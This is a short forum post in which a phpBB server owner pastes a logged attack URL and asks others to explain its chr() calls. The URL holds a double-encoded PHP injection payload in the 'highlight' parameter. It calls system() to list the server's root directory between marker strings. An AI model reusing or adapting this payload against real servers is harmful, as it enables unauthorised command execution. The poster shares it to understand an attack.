help decode this url
/viewtopic.php?t=448&highlight=%2527%252esystem(chr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%252echr(95)%252echr(95)%252echr( 73)%252echr(78)%252echr(73)%252echr(67)%252echr(73)%252echr(79)%252echr(95)%252echr(95)%252echr(95)%252echr(59)%252echr(108)%252echr(115)%252echr(32)% 252echr(45)%252echr(108)%252echr(104)%252echr(32)%252echr(47)%252echr(59)%252echr(101)%252echr(99)%252echr(104)%252echr(111)%252echr(32)%252echr(95)%2 52echr(95)%252echr(95)%252echr(70)%252echr(73)%252echr(77)%252echr(95)%252echr(95)%252echr(95)%252echr(59))%252e%2527This is a hack attempt on my server running phpbb... Can someone please explain the chr()'s?